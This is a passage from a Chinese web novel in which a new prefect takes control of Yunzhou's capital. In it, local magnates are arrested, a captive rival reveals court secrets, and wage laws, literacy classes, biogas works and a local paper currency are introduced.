想来这游戏能让主控作为知州,那应当是为了特殊情况,比如别的玩家没有别的合适的卡,这知州位置又不能空着,只能自己顶上去。 这么一想,姜定顿觉这选择一定是个陷阱。 再回顾刚才适合的人选。 姜定略略心动——这给新的金卡人物啊! 但这有概率,不会又是游戏骗人吧? 这便是游戏的老套路了,说是有概率,但实际上这概率可以忽略不计。 有些纠结,但在看到全州治安相较于合格分数60还差了一半时,姜定毅然决然的选择了提升治安。 新的金卡先往后排队吧,反正目前来说他的角色池暂时够用,要是为了虚无缥缈的金卡人物忽略了治安,想必这游戏会教他做人。 毕竟这游戏的定位是经营基建种田,可不是抽卡刷稀有角色。 而此刻,方知意则是得到了仙师的回应。 等听清楚仙师竟然选了她作为知州后,方知意说不激动那是假的。 她原先以为会是祝应,毕竟祝应比她年纪大,原先还曾经在黎州元城这样的都城体系内呆过,比她更有经验,更合适。 倒是没想到,仙师居然会选择她。 方知意有些激动,冷静下来后回复仙师。 “定不负使命。” 与此同时,方知意也决定暂且将祝应的职位升为通判,作为协同辅助她管理明州的副手。 将这消息告知祝应后,两人定了前去云城的日子。 第295章 真相 抓捕行动十分顺利,这些大户们排成串,连带着各个分支,但凡是有牵连的,个个被关押着送到云城的牢房。 柳江则是逐一清点,确保这些人全部被抓捕,一个都不少。 中途自然有人想要逃走,甚至还有人想要抗拒逮捕,但绝大部分都被当场捉拿,情节恶劣的便被直接定性为蓄意反抗,当场斩杀。 眼看这些人竟然是真的动手杀人,甚至都不需要所谓的通报后,众人这才察觉到不对劲——这绝对是上面的命令。 意识到逃跑和反击都无用后,绝大部分人绝望的陷入乖乖束手就擒的状态。 没办法,实在是这些人不知道怎么做到的,他们既无法离开云城,也反抗不了,躲得话,很快就会被人捉拿带走,三条路没有一条路可以走通。 柳江看着往日自己煞费苦心都进不来的宅子,此刻完全向他们敞开,宅子的下人带着他们出入这设计精巧的宅子内,将以往他日日夜夜恨不得杀死的一众人全部按法捉拿,心里别提多痛快了。 他是有读过新法的,新法所讲的大概便是按照过去定性,像是过往杀人枉法,情节恶劣的便会被直接处死,至于还有改进空间的,便会被送去义务劳动。 总之看到新的上司大人,他便能猜到这新法实施起来定是十分公正。 恰好他也不愿意白白冤枉那不得已的人,对这新法的处置方式十分满意。 其实和柳江一样,对这次抓捕有小心思的人很多,不少人也隐没了身份,亲自参与进抓捕,俨然将工作干得很是尽心尽职,这也没办法,谁让这些大户们以往对他们都没个好脸,自然众人干活热情也高。 这边顺利按照一本本族谱开始捉人后,另一面,得到消息的,稍微偏远一些的人家则是计划着逃跑,但很可惜,没等逃出去,就发现自家宅子早就被官兵团团围住,想来彻底进入搜查抓捕不过是时间问题而已。 如今人人自危。 原先暂且安稳下来的云城再度混乱起来。 而先前被带走的陈京行则已经由慎刑司进行审问,势必要将此人嘴里的消息全部撬动。 不过陈京行倒是一句话都没说过,就连刚来到云城的方知意和祝应也不得不承认此人确实是个厉害人物。 要知道慎刑司的手段没几个人能撑得过去,但这人竟然是硬生生的撑到了现在。 方知意早就和陈京行见了一面,理所当然没从他嘴里撬开任何东西。 祝应则是也去了一趟,凭借过往对陈京行的记忆,她有些想看看多年前那个陈京行和现在这个陈京行是否一致。 牢房昏暗,灯影闪烁。 因云城刚攻下不久,所以沼气灯还来不及安装。 隔着昏暗的灯火,陈京行朦朦胧胧看到了一似曾相识的旧人。 此人身形高挑,但能看出来是个女子。 等到走进了后,他额头的乱发被人剥开,随后便撞上一张略带苍白的女子面庞。 陈京行心头一震 眼前之人的面庞,竟带着几分熟稔。 再细细看去,他竟是从这张脸上看到了祝时的几分影子。 只是祝时可是男子,眼前之人虽说高挑,但和祝时的身体比起来,自然还是低了一些,且面容也均有不同程度的不同。 但不知为何,他竟然觉得此人甚是熟悉。 一时半会,竟然看呆了,不知道该说些什么。 直到对方先开口说话,陈京行浑身一震,觉得此人颇为奇诡,这说话的语气,竟然和年轻时的祝时很是贴近。 嗓音更细了点,但语调抑扬顿挫的节奏和他很像。 先前陈京行几乎完全是拒绝交流的态度,如今他倒是慢慢开口和祝应互相试探——对于他来说,死亡也不可怕,但临死前他定要将眼前秘密揭开。 两方都在试探,等到提及到不可说的皇家秘辛之事后,陈京行很圆滑的将此事按捺住,先问了来人的名字。 “祝应。” 祝应? 陈京行心惊肉跳,觉得这名字过于巧合。 事实上,祝应过来也并非是为了和他叙旧,早就知道陈京行嘴里撬不出东西,过来看他也不过是想看看原先有过同窗之情的天才到底还是不是当初模样。 如今话都聊过了,她也该离开了。 却被来人犹豫的喊住。 “你可认识祝时?” ……还是问出来了。 这莫名的冲动让他不顾一切开口。 那人没回他,陈京行开始强行保持淡定。 “我知晓你们这里有种仙术,可以和人下契约的,若你告诉我你和他是什么关系,我便将我所知道的东西悉数告知。” 别说,陈京行了解的不少,应当是他从那景旭宫的长老口中听说到的这些东西。 “可以,那就先下契约。” 祝应将那契约纸拿出来,写下自己名字。陈京行没犹豫,立马写下自己名字。 眼看契约生效,如今二人都不怕对方会互相隐瞒自己,毕竟这契约之力不可违抗。 签署时要确保两人充分知晓且明白此件事情的整个经过,不存在刻意隐瞒欺骗,这契约才能签订完成,若是后续有任意一人反悔,契约之力便会彻底操控对方完成本该完成的那部分,直到确保契约生效。 眼看签订完毕,祝应面对他,表情没太多变化。 “祝时是我哥哥,我和他是双生子。” 虽已做好了心理准备,但陈京行还是被这消息震撼得失神。 他脑内诸多有关祝时的过往记忆开始不受控的涌现,而后重新排布组合成真相。 良久后叹息。 “原来是你我说一个人怎会有这么多变化,倒是被你父亲用一句重病心智变化打发走了。” 话说当初的祝时那可是旷世奇才,谁见了都想与他交好。 同被人寓为天才的陈京行当初很不服气,他比对方年长几岁,觉得他小小年纪这么猖狂,不知是真有奇才还是被捧出来的。 抱着故意刁难的心态去的,回来后整个人都是浑浑噩噩的。 ——太变态了,这人智多妖孽,他已经是难得的天才了,这位更是厉害。 他想的各个刁难之法,全部被此人一一破解,且大多都是当场快速回应的,这更让他震撼于对方的才华。 原先陈京行在黎州元城很是得意,但接受吹捧久了,也会烦腻,有种独孤求败之感,而偏生祝时出现,完全将他的目光吸引过去。 十六岁的祝时前途耀眼,人不仅聪慧得可怕,还颇得圣心,同时此人对待同僚却完全没有高傲之感,言语间很是真诚,像一棵正直的稀有小树苗一样努力生长。 陈京行不知道自己为什么脑内对于祝时的形象是这样的,他有些失神,毕竟所有人只会形容祝时是一块完美的美玉。 或许是同为天才的惺惺相惜,两人起初相处得异常亲近。 他还记得那个雪夜,莹莹雪花飘落,两人在湖心亭的廊下喝酒谈心。 当初他喝多了酒,豪情壮志的说着“若登廊庙承天眷,必抚黎元定九州”,好友那双眼睛像是在雪地里发亮。 祝时人长得十分俊秀,人在风雪中多了几分坚韧的美感,这瞬间,陈京行觉得自己大概是疯了,他居然对一个男子产生了不该有的感情。 很快这异样的情绪被他压在心底,归结为当日喝醉酒的缘故。 但只有他知道,往后一切都不同了。 他开始不自觉追随着好友的背影,有关好友的一切对于他来说都是如此值得关注。 陈京行当初作为天才一辈,自然也想着为朝廷效力,但先后遭遇挫折,而后整个人就变了,变得营营汲汲,费尽心思想弄到一个配得上他才智的职位。 因他的改变,祝时慢慢觉得两人不再是同路人,便和他渐行渐远。 即便是他离开元城当日,昔日好友只是在城墙上远远看了他一眼便算作对这段友情的最终结局。 陈京行心想,好友不会懂他,既然要断,日后便断个彻底。 两人逐渐失去了联系,而他再次和祝时见面时,是知晓对方大病一场。 一得到消息时,他便放下手中事务,直奔元城,可惜祝府谢绝见客,只说病得重,不适合见客。 无奈,陈京行只得返回,等到不知过了多久,他这才听到元城传来消息,说是祝时病好开始见客。 他立马回去了,但那次会面,却让他多出几分疑惑。 ——无论是接人待物,亦或是诗词棋艺,都让他有种割裂的错觉,眼前之人仿佛不再是当初那个曾耀眼整个元城的天才少年。 好几次,他甚至透过这张一模一样的皮囊感觉到一股说不清道不明的陌生感,好像眼前之人完全被精怪附身,变为另一人。 他有些失魂落魄离开,而后便听元城四处流言,说祝时病后身体虚了许多,应当是智多命薄的表现。 陈京行对于这些狗屁言论很是厌烦,他派了人去查祝时到底怎么回事,却什么也查不出来,只能查出来祝时的近况。 得知祝时不再锋芒毕露,不再去参与诗词聚会,甚至连社交圈子都从志趣相投换了一批手中有实权的人后,他不得不承认,眼前的祝时再也不是他记忆里那个祝时了。 他记忆里的祝时是他不敢去亵渎的存在,美好,不曾被世道玷污,这样天资卓绝的天才,就该一直像是一轮明月高悬在天空,处处映照着他的卑劣才对。 明明该高兴的,往后他们一样卑劣,但不知为何,他的心空空的。 像是离开一段时间后,回家一看,发现珍稀的小树苗不仅长歪了,就连原先漂亮美好的果实也因为完全成熟,腐烂在枝头上。 第296章 翻天覆地 陈京行原以为是这样的。 往后多年里他不曾再见过祝时,而是派人每年默默关注对方。 起初他甚至以为这皮子下是不是换了人,但没过多久,一则惊才艳艳的文章出自祝时之手,等仔细看过这文章后,他那点怀疑又消退了。 ——这世界上再也没人能写出这种手笔的文章,除了他没有第二人,或许确实是按照祝父所说,因重病影响往日思绪,按照祝父的说法,祝时如今需要以养身体优先,所以以往那些耗费心神的聚会几乎都不去了。 只有面对圣上会偶尔提出一些惊艳的策论。 陈京行起初也想继续试探一番,但可惜先皇很快病重,原先的权势开始动荡,各方人马都在拼命争抢着,打算在先皇去了后拿到最好的那副牌。 于是这计划便被搁置下来。 一晃便是数年,陈京行作为见证人,也算是彻底看到了一代天才的陨落。 而同为天才之名的他则是成了反贼,为了利益纷争深陷名利场。 仿佛当年两人曾笑谈着的对话全然不曾发生过。 那时以为手握重权便会为朝廷效力,如今看来一个明哲保身,试图保持职位,一个搅动天下,危害社稷。 总归没有一个人长成了当晚豪情壮志里的模样。 陈京行唏嘘不已,但人已到了三十多岁的年纪,他觉得自己算是认清真相——那样不切实际的想法,只是当初那个无知无畏的自己才会去追求的。 即便是要为江山社稷效力,那也绝非为这样的朝廷效力。 早在多年前的党派之争中,陈京行深陷泥泞,早就知晓原先的想法过于理想化。 他便这样放任自己走上另一条路,看着自己旗下正在受苦的众人时,他想的永远是再等等,等他有足够能力一统天下,等到一统天下,万事都能自己说了算时,便到了他更改这世道秩序的时候。 可惜等来等去,时间便如流水一样逝去,最终不等他一统天下,倒是先被敌人给抓起来。 被俘虏后,陈京行本觉得这辈子也不算亏,好歹他试着挣扎过,也顺利做到了明州一州之首的位置,如今面对死亡,他不是会畏惧刑罚和审讯,然后一股脑将自己知道的一切,多年的运营全盘托出的类型。 但实际在看到那个名为祝应的人后,他原先平静的面容再也无法平静,脑袋里有个疯狂的,无法控制的念头在催促他问出真相,哪怕是用一切他不想给的东西去换。 等到大脑自动归拢出一切真相,陈京行终于知道了,原来当年两个人只有他变了。 又是恼怒,又是无端生出一股说不清道不明的庆幸。 他几乎可以想象这件事中祝应本人会遭遇怎样的囚禁和折磨。 嗓子堵着,想问,但没有立场去问。 如今两人位置早就变化,不再是同窗,不再是同为大炎朝效力的臣子,他是对方的阶下囚,两人就连互换秘密也是交易的一环。 于是陈京行调整呼吸,开始将自己知晓的秘辛全部告知眼前之人。 别的消息暂且不提,陈京行爆料出一则消息让祝应有些在意。 “据说,先帝死后被炼制成一护国法宝,这手笔就是景旭宫做的。按照景旭宫的意思,日后若是出现宫内出现动乱,这法宝便可通过祭祀这件法宝召唤神灵前来相助,这便是为何景旭宫成了皇家正统道宫。” 祝应没想到这皇室之人这般变态,竟然对于自家祖宗都能拿出去炼制法宝,简直是丧心病狂,这样无视伦理道德的炼制手法,能是什么正经途径? 再说了,日后就算是召唤出那所谓的神灵,恐怕也是来路不正的精怪这一类的。 陈京行没藏着掖着,将自己所知道的不少消息悉数告知祝应,包括一些家族之间的联系,暗地里的运营等等。 这人的价值比她想象中高多了。 等到说完后,陈京行也知道自己的结局定是必死的,这会佯装坦然——他至少不想在她面前露出那么狼狈难看的表情。 “冒昧问一句,祝大人准备什么时候处死我?” 祝应垂头去看着被锁链禁锢,跪在原地的陈京行,良久后开口:“最快也得是明州安稳后了。” 陈京行笑了。 “游行么?希望看在我们先前同窗之情的份上,给我个痛快。” 这话倒不像是求饶,还带了些平静。 祝应没回他,转身走了,留他一个人继续在牢房内待着。 等到那抹袍角消失在眼前时,陈京行不知道自己是何时落泪的。 他侧头在脏得发酸的衣服上蹭了蹭,心想好悬没被她看到。 而祝应除了将先前的情报告知方知意,心里也是不怎么痛快——她原先只是想单方面的看看这位同窗,算是给多年前的这同窗之情画上个句号,但等去了后,却没想到对方反应比她想象中大多了。 当然,那点东西不足以称之为感情,而是一种更为令人烦恼的情绪。 但祝应知道,陈京行最好的结局便是为了大计去死。 多年前两个天才的惺惺相惜,如今应当以这样的结局落下帷幕。 方知意稍稍打探一番便知晓这件事。 两人的想法高度一致,杀死陈京行是一定的,但好歹是祝应的同窗,她下令将陈京行押送至风仙县的牢房,再让慎刑司继续审问。 一路由祝应看守,谨防罪人逃走。 ——既然人都要死,那便好好看完了仙师旗下的万民是如何生活,好友如今侍奉在哪位座前后再安心去死吧。 这并非是为了陈京行,一是为了祝应,好让她日后能安稳继续上任,二是对风仙县也有好处,没什么能比得上亲眼看到陈京行被押送到自家牢房更鼓舞人心的事了,想必通过这事后,众人会对本县的武力有个完全清晰的认知。 这件事就这样定了,祝应带着队伍急行前往风仙县。 而另一旁,云城的审问司已开始轮番审问被柳江一行人逮捕归来的这些大户们。 挨个审讯后,将作恶多端的该杀就杀,该做苦力就做苦力,该罚款罚款,该抄家抄家,总归最近云城的各个司法部门忙碌异常。 全部门上下一条心,没过多久,牢房内便空余出大量位置。 经过这次官府带人抓捕后,其余没被抓走,或是被罚了钱出去的大户们个个缄默其口,不敢多说一个字,这会儿别说想着拿捏了,忙个个去讨好这新来的队伍。 原先困境自然瞬间消除,且如今库内银两粮草足够,眼下需迅速将风仙县的制度政策顺利推行下去才是。 方知意近日忙着将政策制度修改一番,适合云城情况后再确定发布。 此地虽说也设置了报纸,不过因本城扫盲还在初始阶段,所以大部分时候百姓都是听来的消息。 话说回方知意来到此地的第一件便是建立扫盲班——这是日后一切的基础,若百姓依旧如此愚昧无知,日后如何能看懂报纸,如何能知晓最前沿的消息?又如何推广学堂,推广别的先进思想和用物? 这都是一环套着一环的,所以这扫盲班是最为重要的基础。 事实上,扫盲班一经开立,这种几乎属于强制性的“学堂”便让很多人不解。 “这扫盲班不会是上头想法子弄的笼钱的东西吧?” “这话可不能这么说,说是不要钱,但都得去。” “不要钱,那这是图啥勒?莫非是让咱们去出卖苦力?” 众说纷纭,说什么的都有,但扫盲班很快就以不可抵抗之势开始纳新了。 先一批进入其内的云城百姓起初还异常紧张,但等到发现这竟然是真的坐着学习,而非是去哪儿做苦工后,这会心放肚里了。 大都是好奇居多,毕竟就算是在明州的大都城云城,大部分人还是没上过学,认得字的。 真等到学习时,竟然意外发现这读书好像也没有想象中那般枯燥困难,有一说一,主要原因也是夫子讲课深入浅出,各个听得精神抖擞,仔细听着那台上的夫子说着科普。 据夫子所说,这便是日后云城的现状,所以现在他们每个人都要将此科普记牢了,日后才不至于会没心理准备。 起初众人没当回事,但当听到从今往后最低日薪为100文,加班需要支付加班费,一日最多工作四个时辰,且七日内能休息两日时,个个瞪大眼睛,觉得这玩意和天书一样,每个字都认识,拼凑在一起便不得要领。 继续往后听,等听到若是雇主没有按照法律给予工钱,可前去官府对应的部门负责处理,且日后整个明州将纳入一套崭新的个人信用系统,用于工作,上学。 且学堂每年仅需一两银子便可入学,无论背景男女老少,但凡是想去学的,均能报名参加。 若是有工作的,想要去提升自己,那便可以报“夜大”,白日上工,晚上前去上学。 除了这些和日常息息相关的科普外,夫子还介绍了云城目前正在动工的项目。 “沼气池计划”“下水管道整改计划”。 与此同时,对应的多个厂子也已经开始建造起来。 所以目前所有没工作的,均可去应聘临时工,日薪100文,还包吃。 这话一出众人顿时不敢置信。 不是原来外面的世道已经成了这般? 四个时辰,最低100文,加班工资另算,学堂一年一两,每个词都陌生得很。 如今众人个个面面相觑,等到从扫盲班出来后,还晕乎乎的,像是喝了假酒一样。 要不,出了门就去应聘去?乖乖,那可是包吃,还一百文哩! 第297章 秋后算账 说干就干! 毕竟云城大多数人原先就没什么正经活计,这会个个跑过去试着应聘,也是正是基础建设大量缺人的时候,简单问了问后,十个人能留下来八个。 这些人略有忐忑的跟着那官府的人前去工作地点,个个缩得和鹌鹑一样,一看就是往日被那些当官的欺负得紧。 如今就算上了扫盲班,从扫盲班毕业后,这点习惯还是改不过来,尤其是回话时,一口一个“官爷”,态度卑微谄媚,倒是让从风仙县调度过来的官兵很不习惯。 将这些人领到工作的地方后,一堆人瞧着附近刚开始挖掘地基,心想这还真是过来建房子的。 和那话里说的对上了。 一旦一个信息对全,大伙心里就有几分底气,这会自然对官府的信任度稍微上涨。 “这里就是每天工作的地方了,等一会会有专门的负责人过来给你们分配工作,要记得每日下工得去找负责人签字确认,工钱日结。 丑话说在前头,若是谁偷奸耍滑的,被逮住了,日后可是再也不能用了,自个都好好掂量掂量。” 其实这也是例行公事而已,毕竟如今眼下大部分都没找到工作,如今突然有个日薪100文的高薪工作落在脑袋上,个个欢喜都来不及,再加上还是给官府干活的,那是有几百个胆子也不敢偷懒啊。 等到给他们分配好各自的任务后,大伙便开始吭哧吭哧干了起来。 因正是秋天,早上的话,天气稍冷,不过等中午日头出来后就好许多了。 尤其是一干起来活,那便更热了。 王福是云城寻常人家的百姓,先前每日全家人的营生都是靠着他辛苦去干体力活得来的。 那点体力活又要和人抢,还得老老实实的干五六个时辰,每日不过三十文到三十五文。 ——往年稍好一些的话,大概日薪最高能到近五十文,但这几年灾情不断,不少掌柜们都陆陆续续关门了,这对于他们这样的做苦力的人也是凭空少了许多活路,至少不需要那么多搬运货物的人了。 这东西都一环套着一环的,没地方赚钱,回去便没法养活家人,连饭都吃不饱的日子,无人敢将钱花在除了吃食以外的地方,这就造成了商铺更多倒闭,粮食价格恶意高涨。 原先陈京行并非什么都不做,他遏制过飞涨的粮食价格,同时提出以工代赈,至少解决了一部分的工作问题。 但因当时各个实力错综庞杂,陈京行在这明州也并非一言堂,很多时候也是暗自受到制约。 按道理应当让这些百姓参与建设明州的官府项目,但因财政和多方面权利博弈缘故,这计划落空,只能由陈京行牵手,将不少站在他这边的大户们集合起来,让这些大户选人,做活均从民间挑选。 这才勉强维持着不少人的命。 过去的王福从未想过他有朝一日会过上能日收一百文的日子,那活他干了,没当初累人,且时间还短,只有四个时辰,中午还管一顿饭。 原先大伙都以为这管饭定是那些没什么油水的,像是水煮一样的寡淡吃食,但等看到端上来的满满当当,冒着香气的食物时,个个瞪大眼睛,不敢置信——这里居然还有肉? 虽说肉不多,但这可是放了肉的炖菜啊! 里面除了白菜,胡萝卜外,还添加了“粉条”(原先他们并不知晓,还是负责人告知他们的),还有细碎的肉丁,实在是让人食指大动。 至于干粮的话,是旁边放着的蒸地瓜,一剥开皮,里面便会流出像蜜一样甜的果肉。 谁也没想过这饭菜竟然还相当不错,先前出了点汗,风一吹倒是微凉,现在众人就着地瓜,吃着炖菜,嗦着粉条,冷下来的身子又热了。 额头纷纷冒出热汗,吃完一碗,又去添了一碗,直到吃得饱饱的。 为了避免让这些人撑坏,这饭菜是限定数额的,这个分量定在能让人吃饱,但不会让人吃坏的分界线上。 王福以往胃口就大,过去要第三碗时生怕对方要拿铁勺子打他,但对方给了他满满一碗,只是开口:“这最后一碗了,不然吃坏了可没人负责。” 王福赶紧点头:“大人,小人晓得了。” 等到走到一旁无人看管后,他便开始风卷残云般消灭了这碗炖菜。 等到吃完后,他舔了舔嘴角,面色憧憬——真好吃,这应当是他吃过的最好吃的东西了,一开始他还问这能不能他不吃给家人带回去,但被拒绝了,所以便自己吃了。 自个吃了也好,好歹省了一份伙食钱,他吃得可不少。 大伙吃完这饭菜,干活干得更认真高效了。 但凡不是傻子,现在大伙都知道这活计好,人人都想好好干活,努力争取一直干着这活计才是。 等到下工后,众人个个过去签字,因为扫盲班的教育,所有人都学会了写自己的名字,于是这签字环节很顺利。 很快,王福领到了今日工钱,看着这一百文,他心里颇为火热。 他早就做好了打算,这些钱带回去给家里人买些吃食,要知道家中好些日子没怎么吃过饱饭了。 还有便是要告诉娘子,他找到了这么好的一份工作,虽说不知道可以干到什么时候,但他会努力干着,直到这活计没有为止。 和王福一样想法的人不少,当晚,不少屋子里飘出来阵阵香味,这些香味勾得人馋瘾犯了,尤其是原先有固定工作的那些人发现,这些香味竟然是自己那个以往穷得要死的邻居家传来的,顿时不敢置信。 等到稍打听一番,心里都不是个滋味。 原来是这些人去了应聘临时工,临时工不稳定,但是这待遇是真好啊! 这样显得他这种一天干五个时辰,每天只有四十文,包吃只给吃最次的饭菜的人很蠢啊。 有些犹豫,但最后终究抵不过高薪的诱惑,很快,几乎有七成的人纷纷跳槽,去给官府的建造事业添砖加瓦。 一时间,这些大户们倒是很难用廉价的薪资找到人给他们继续干活,但有一说一,因还有人害怕那临时工不稳定,所以还是选择呆在原来的工作岗位上,即便如今要干的活更多,工钱不过也是涨到了五十文,他们也决定再等等,看看情况再说。 ——万一这临时工干完了这建房子的活后就没有别的活了呢?从固定工跳到临时工好跳,但日后若是想再要到一份稳定工作可难啊。 也有不少大户私底下不满这政策。 “什么最低日薪一百文,这新来的也不知道有多少钱能这般乱花,看着吧,不出一年,咱们这云城就要被这些野蛮人全部给糟蹋了。” 这是私人对话。 先前知州大人的铁血手腕让大户们个个自危,如今他们被吓破了胆子,有再多的不满也只敢在家和最亲近的人议论吐槽。 “谁说不是,我家这几天便走了不少人,如今倒是也找人顶替上了几个重要岗位,但这长期弄下去,最后也定是要给这些人加工钱的。” “哎造孽啊,这好端端的银子,给了这么些个粗人,真是浪费。” “倒也不用如此悲观,若按照这般还花销,日后财政定会陷入危机。 依我看,因为官府着急建造这些东西,这才提了工钱,恐一段时间后,等这些建完了,也就恢复以往的正常工钱水平了。”有人猜测。 也有人反驳:“这真是如此?要知道这工钱给上去,降下来就难,若是给五十文就算了,这打开始就给一百文,依我看,官府日后定不会随意乱降了,不然有失体面。” 总之各有各的看法,但无一例外,大户们均是发愁——若是这样的话,日后府内下人们的花销便要翻一倍。 若一开始便是这样就算了,偏偏以前花小钱就能把事干好了,如今却被人倒逼着花更多钱,这实在是顿觉憋屈不满,还迫于淫威不敢开口辩驳,唯一的办法只能是忍耐,静观其变。 众人心怀各色心思,总归是不盼着这新来的新知州大人一点好。 而事与愿违,这临时工的岗位并没有和他们想的那样越来越少,反而招收的越来越多。 而因为招收的人多,这些人大部分被用来进行最重要的沼气池安装和下水改造项目上了。 官府的要求是要在冬至前完成这两样基础铺设。 待遇好,人多,再加上这云城作为明州的大都城,当年正是老老实实执行祝应下水道设计的都城之一,所以改造起来并没想象中那般困难。 沼气池因为技术成熟,修建得更是飞快。 所以在冬至前,这两项项目切实落地。 方知意相当满意,总算是在最寒冷的冬日来临前能让众人用上沼气采暖了。 想来今年冬日应当没有会冻死的人了。 而原先那些看热闹的大户们则是看得一愣一愣 等等,到底发生了什么? 先是建好了什么沼气池,又是去修建改造下水管道,同时还得自费安装沼气?这到底意欲为何? 好奇,但是无人敢问。 等到沼气池检测通过,所有人都享受到了那温暖如春的地暖后,原先还颇有怨言的众人开始暖呼呼的呆在自家龟缩着感慨:别说,这什么沼气池和仙术一样,怪不得这新来的知州大人花这么多人力物力去弄这个,这花了钱的是不一样哈。 没等眯眼享受多久,下人急匆匆上报,说是知州大人请他们前往府内一聚。 这话一出,众人前一秒还在感慨,这一秒顿时瘫软在椅子上——坏了,这是秋后算账?冲他们来的? 第298章 天地币 虽说人人都知道这是鸿门宴,但没人敢不去。 只能苦着脸,心情忐忑的前往。 等到到了地方后,众人个个发现,知州大人竟然是请了不少人过来,原本以为只是极个别的倒霉鬼,现在一看明显不是这样。 知州大人他们还不曾见过真人,但眼看人群数量众多,众人起码是松了口气——这至少不会被弄死在这里啊,要知道先前官府的肃杀行动给这些人还是带来了巨大的心理压力 众人个个低声谈论着,讨论着今日到来可能会遭遇的事,若是按照以往猜测,十有八九便是找他们要钱,以充国库。 没等讨论出个所以然,伴随着通报的人一声“知州大人到”,几乎所有人都伸长了脖子去看这神秘的知州大人。 来人不怒自威,穿着官袍,走起路来雷厉风行。 等到方知意坐在上位后,众人才慢慢反应过来——这知州大人是女子? 心中震惊,但各个都不敢表现出来,头埋得更低了,只当是没看到,直到方知意开口说话,众人这才抬起头,将注意力转移到知州大人身上。 方知意自报家门,等报上名字和职位后,众人心里悬着的绳终于断了。 还真是知州大人,只是如何能让女子执政? 但谁敢说? 不想活啦? 他们又不是当官的官员,不过是商铺掌柜,亦或是别的家族内的人,自然惊诧后便忽略了这点。 方知意扫视全场,而后带笑先寒暄一番进入正题。 “今日召诸位前来,主要是商讨私有变国有一事。” 这话一说,顿时像是往油锅里扔下了水滴一样炸开。 这新来的知州大人出口惊人啊! 原先以为是要钱,现在看来对方完全是打算直接摘桃子啊? 堂内气氛一片肃然,虽说个个心头惊恐悲愤,但无人敢声张,只能呆呆的看着主位上的方知意。 “诸位这表情看着不太好,本官便解释一番。并非是占有,而是经营形式改变了。 相当于是日后你们不需要再为生意担心,因为官府会帮忙分担这份风险,与此同时,我们会给出合理的收购价。” 众人心思稍微活泛一些——给钱收购?银两还是银票? 却见对方拿出一张崭新的纸币开口道:“这便是日后明州境内需要实施的货币,名为天地币。若是日后有需要兑换成银两支票去外地做生意的,可去天地银行兑换。” 众人前一秒还滚烫的心思这一秒彻底凉了 天地币,看似可以在明州内流通,但这自创的纸币只适用于明州,若是日后明州败了,他们手里攥着的只有这些宛如废纸一样的天地币,而非是三州通用的支票,银两。 虽说听意思可以去什么天地银行(他们猜测是钱庄一样的地方)兑换通用货币,但用脑袋想想都知道,大额的兑换定会被卡脖子,且日后每一笔大额资金都会暴露出转移方向,这好毒的一招啊! 众人瞪大眼睛,很想说点什么,但迫于先前知州大人的淫威,个个不敢开口,实际上,方知意召他们过来也从未想过要让他们同意,只是单方面需要这些人前来充当观众,充当此计划的支持者。 日后既然需要和另外两州对着干,再加上发展经济,建设实业,个个都需要银两,长此以往必定会亏空,日后面对两州恐怕会无力应对。 且州内人数众多,若是日后有蓄意将资产转移到别的州的人,这便是削弱自家资金了。 在和祝应商讨后,用本地货币代替通用货币便成了需要实施下去的一件事。 况且日后等仙师真的一统大炎朝后,想来到时候全部使用的是天地币,而非所谓的银两,银票。 毕竟不说别的,单论铜钱银两,日常携带重量沉,不方便,还会有磨损,于是她们便根据那集闻楼内书籍为模板,很快便设计出了新的天地币。 这天地币有不同的面值,可以轻松应对日常交易。 先前是还不曾一统明州,所以这天地币迟迟没有发行,如今既然统治一州,那便有足够的资本改换货币,重新规划新的货币体系。 所以今日,这些人是从也得从,不从也得从。 出了这个门,无论谁问都是他们积极认可此事,并且带头兑换天地币。 事实上,众人几乎欲哭无泪。 实体资产有一大半沦为官府的,然后更惨的是官府发的钱只能在本州使用,虽说他们以往也不会出了明州,但总归觉得心里异常不得劲。 但看了看那官兵们腰间黑漆漆的佩刀,众人还是咽了咽唾沫,窝囊的忍了 就先这样吧,不然还能怎么样。 等到众人挨个签字,签下私人转国有的单据后,拿着日后可去天地银行取出的支票数额单子回了家。 因去的是家中最具话语权的家主,等到这些人回到家后,家中其余人便忙凑过来问到底喊他们过去是何事? 等听清楚资产丢了一大半,银两还变成了这所谓的天地币后,该哭的哭,该晕的晕,该暴怒的暴怒。 几乎所有老家主都会气得吹胡子瞪眼。 “让你签你就签,你动动你那猪脑袋,这是能签的事?这么大的事你怎么不和我商量?” 现任家主是这事的第一冲击人,本来就被威胁一番神烦,这会没好气道:“父亲,您若是头铁自己去拒绝去!看看是人的刀快还是自个的嘴快。” 气得老家主拎着棍子直打。 “你个不孝子,老祖宗的资产算是全败在你手里了,哎呦,我日后这要是死了,下去可怎么有脸见诸位老祖宗啊——” 这一夜,每个大户家里都闹得是翻天覆地,但又有何办法?毕竟如今明州的管理者正是那位铁血手腕的方大人。 当晚,不少人集体失眠,暖烘烘的地暖吹不到冰凉的心底,这会众人觉得这地暖烧得那可都是自家的钱。 个个心如刀绞。 等到第二天,好容易劝自己想开点,大不了日后死心塌地跟着知州大人混,一直让这天地币有用也行啊 。 直到看到下人每日递过来的报纸,看清楚上面所写的东西后,个个不淡定了。 自扫盲班输送出一批批的合格毕业生后,这报纸的销量顿时飞涨,好歹云城大,售出的报纸也是风仙县的好几倍。 当日,不少人习惯性先去买报纸。 这报纸价格便宜得紧,人人都买得起,还贴心的分了拼音版和无拼音版,两版内容主旨一致,只是拼音版言语更通俗易懂,可供不同文化水平的人群选择性购买。 今日头条新闻是【关于天地币、天地银行的出世】。 其内大概讲解了此货币的作用,好处,以及已有多位有身份地位的人愿意带头支持此事。 这报纸内容自然是白思妙构思后写下,内容巧妙,不会让人反感,却又将此货币讲得通透。 当然了,还有相应的律法推动。 譬如新货币会逐渐在交易中淘汰旧货币,且还规定了旧货币每人最多持有的额度,超出便需要向官府另外申请,当然,对于大部分人来说,这额度绝对是够用的。 除了打算拿它别有用心的人。 既有科普解释,也有法条托底,很快,看到报纸的人都沸腾了。 “这怎地突然就要用天地币了?谁敢贸然兑换?这日后若是不能用了可怎么办?” “依我看,用新货币和以前也没什么两样,若是明州受管控一日,这钱便一直能用,若是日后等外面两个州攻进来了,咱们人也不知道活的死的,就算是银两银票又有何用?” “话虽如此,但若手里捏着银两好歹还能花钱打通一下” “这上面不是写着呢么,这额度足够咱们普通人用了,依我看,那些大户们要惨了。” 看到报纸的人说什么的都有,而风仙县也是一片哗然。 最主要的是,个个厂子开工资时,已经全部用天地币进行发放薪资。 起初大伙还有些担心,但等发现这天地币携带起来更方便,且同样能和铜板一样使用时,又很快接受了这变化。 